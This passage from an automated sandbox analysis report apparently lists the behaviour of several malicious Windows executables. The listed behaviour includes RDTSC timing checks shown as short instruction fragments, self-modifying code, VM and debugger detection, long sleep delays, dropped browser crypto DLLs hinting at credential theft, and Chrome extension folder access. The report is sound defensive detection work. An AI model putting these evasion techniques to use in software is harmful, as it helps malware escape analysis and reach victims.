Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114AD51 second address: 114AD6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114AE1A second address: 114AE20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11592F6 second address: 11592FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1158AAA second address: 1158AB0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1158BE3 second address: 1158BF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCFh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114BF44 second address: 114BF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114CDF6 second address: 114CE09 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114CED9 second address: 114CEE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F34C0CE3846h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114DEFE second address: 114DFC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b ja 00007F34C04FCDCCh 0x00000011 pop eax 0x00000012 nop 0x00000013 add di, F9D5h 0x00000018 push dword ptr fs:[00000000h] 0x0000001f push 00000000h 0x00000021 push esi 0x00000022 call 00007F34C04FCDC8h 0x00000027 pop esi 0x00000028 mov dword ptr [esp+04h], esi 0x0000002c add dword ptr [esp+04h], 0000001Ch 0x00000034 inc esi 0x00000035 push esi 0x00000036 ret 0x00000037 pop esi 0x00000038 ret 0x00000039 push ecx 0x0000003a add bl, 00000074h 0x0000003d pop edi 0x0000003e mov dword ptr fs:[00000000h], esp 0x00000045 push 00000000h 0x00000047 push edx 0x00000048 call 00007F34C04FCDC8h 0x0000004d pop edx 0x0000004e mov dword ptr [esp+04h], edx 0x00000052 add dword ptr [esp+04h], 0000001Ah 0x0000005a inc edx 0x0000005b push edx 0x0000005c ret 0x0000005d pop edx 0x0000005e ret 0x0000005f jmp 00007F34C04FCDD7h 0x00000064 mov bx, dx 0x00000067 mov eax, dword ptr [ebp+122D0D5Dh] 0x0000006d jmp 00007F34C04FCDD1h 0x00000072 push FFFFFFFFh 0x00000074 mov ebx, 0C923444h 0x00000079 push eax 0x0000007a push esi 0x0000007b pushad 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114EF65 second address: 114EF6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F34C0CE3846h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114FFEB second address: 114FFF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 114FFF1 second address: 114FFF6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 115EBD2 second address: 115EC1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c push ebx 0x0000000d jnl 00007F34C04FCDC6h 0x00000013 pop ebx 0x00000014 pop ecx 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 jno 00007F34C04FCDD0h 0x0000001f mov eax, dword ptr [eax] 0x00000021 jl 00007F34C04FCDD0h 0x00000027 mov dword ptr [esp+04h], eax 0x0000002b pushad 0x0000002c pushad 0x0000002d push edi 0x0000002e pop edi 0x0000002f push edi 0x00000030 pop edi 0x00000031 popad 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 115EC1C second address: 115EC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 115EC20 second address: 115EC24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 115EDB2 second address: 115EDE8 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F34C0CE3846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 pop eax 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b pushad 0x0000001c popad 0x0000001d jmp 00007F34C0CE3858h 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 115EDE8 second address: 115EE00 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jbe 00007F34C04FCDD2h 0x00000010 jp 00007F34C04FCDCCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11632D7 second address: 11632F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3853h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11632F4 second address: 11632FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F34C04FCDC6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11632FE second address: 1163302 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 1163302 second address: 116330A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 116330A second address: 116330F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 116330F second address: 116331A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 116331A second address: 116331E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 116331E second address: 1163322 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11638A1 second address: 11638A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11638A5 second address: 11638BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pushad 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11638BD second address: 11638C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F34C0CE3846h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	RDTSC instruction interceptor: First address: 11638C8 second address: 11638CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C8F8D4 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: C8F990 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E2EC33 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: E387A3 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Special instruction interceptor: First address: F8E8EB instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFHCAFIDBKE.exe	Special instruction interceptor: First address: 11B4760 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 97E8EB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BA4760 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Special instruction interceptor: First address: 1684A36 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Special instruction interceptor: First address: 182C8BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Special instruction interceptor: First address: 183D967 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Special instruction interceptor: First address: 18B849A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Special instruction interceptor: First address: EB9BE8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Special instruction interceptor: First address: EE2A39 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Special instruction interceptor: First address: D0BA67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Special instruction interceptor: First address: F3F8D5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Special instruction interceptor: First address: 26F8D4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Special instruction interceptor: First address: 26F990 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Special instruction interceptor: First address: 40EC33 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1007659001\57b831f1bb.exe	Special instruction interceptor: First address: 4187A3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe

Code function: 10_2_05450BB5 rdtsc

10_2_05450BB5

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1007661001\5bebd091e2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	API coverage: 0.8 %
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	API coverage: 4.1 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7700	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7552	Thread sleep time: -44022s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep count: 161 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -4830000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7672	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7860	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7656	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7696	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe TID: 3176	Thread sleep time: -150000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe TID: 5212	Thread sleep count: 85 > 30

Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007657001\3f69cca2d1.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007660001\0245b5a6ea.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1007658001\70da2e822d.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsFHCAFIDBKE.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_004062D5 FindFirstFileW,FindClose,	14_2_004062D5
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_00402E18 FindFirstFileW,	14_2_00402E18
Source: C:\Users\user\AppData\Local\Temp\1007643001\GuidanceConnectors.exe	Code function: 14_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	14_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D7DB0B FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_00D7DB0B
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D7E334 GetFileAttributesW,FindFirstFileW,FindClose,	24_2_00D7E334
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D8A32C FindFirstFileW,Sleep,FindNextFileW,FindClose,	24_2_00D8A32C
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D865AE FindFirstFileW,FindNextFileW,FindClose,	24_2_00D865AE
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D4C6C2 FindFirstFileExW,	24_2_00D4C6C2
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D872A6 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,	24_2_00D872A6
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D87205 FindFirstFileW,FindClose,	24_2_00D87205
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D7D7CC FindFirstFileW,DeleteFileW,CompareStringW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	24_2_00D7D7CC
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D89E43 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_00D89E43
Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com	Code function: 24_2_00D89F9E SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	24_2_00D89F9E

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5DC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C5DC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000000D.00000002.3054952046.0000000000AFE000.00000040.00000001.01000000.0000000E.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3058394907.000000000180F000.00000040.00000001.01000000.00000011.sdmp, 70da2e822d.exe, 0000001B.00000002.3052457348.0000000000E9A000.00000040.00000001.01000000.00000012.sdmp, 57b831f1bb.exe, 0000001C.00000002.3007095425.00000000003ED000.00000040.00000001.01000000.00000013.sdmp, 70da2e822d.exe, 00000022.00000002.3052812500.0000000000E9A000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B84000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: file.exe, 00000000.00000002.2119676277.0000000023B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: GuidanceConnectors.exe, 0000000E.00000003.2726482291.000000000086C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: file.exe, 00000000.00000002.2094836892.0000000001781000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3058997364.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000002.3058615014.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 0000001B.00000002.3058615014.00000000017CA000.00000004.00000020.00020000.00000000.sdmp, 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000BC5000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 00000022.00000002.3059059019.00000000015AE000.00000004.00000020.00020000.00000000.sdmp, 70da2e822d.exe, 00000022.00000002.3059059019.000000000157E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DocumentsFHCAFIDBKE.exe, 0000000A.00000003.2113710088.000000000170A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: file.exe, 00000000.00000002.2094836892.00000000017B4000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000D.00000002.3058997364.0000000000FA7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW*
Source: 57b831f1bb.exe, 0000001C.00000002.3008276200.0000000000B3E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware:r
Source: file.exe, 00000000.00000002.2091778654.0000000000E0D000.00000040.00000001.01000000.00000003.sdmp, DocumentsFHCAFIDBKE.exe, 0000000A.00000002.2162196966.000000000110E000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000B.00000002.2179129012.0000000000AFE000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000D.00000002.3054952046.0000000000AFE000.00000040.00000001.01000000.0000000E.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3058394907.000000000180F000.00000040.00000001.01000000.00000011.sdmp, 70da2e822d.exe, 0000001B.00000002.3052457348.0000000000E9A000.00000040.00000001.01000000.00000012.sdmp, 57b831f1bb.exe, 0000001C.00000002.3007095425.00000000003ED000.00000040.00000001.01000000.00000013.sdmp, 70da2e822d.exe, 00000022.00000002.3052812500.0000000000E9A000.00000040.00000001.01000000.00000012.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.2094836892.000000000173E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareh
Source: file.exe, 00000000.00000002.2119676277.0000000023B9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\B
Source: Imposed.com, 00000018.00000003.3024882887.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 00000018.00000003.3027865251.00000000011F6000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 00000018.00000003.3050238374.0000000001202000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 00000018.00000003.3050017162.0000000001201000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 00000018.00000002.3061392102.0000000001202000.00000004.00000020.00020000.00000000.sdmp, 3f69cca2d1.exe, 0000001A.00000002.3071848567.0000000001F2E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: firefox.exe, 0000002D.00000002.3058260858.0000024E249A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllee

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.com

System information queried: CodeIntegrityInformation

Found API chain indicative of debugger detection

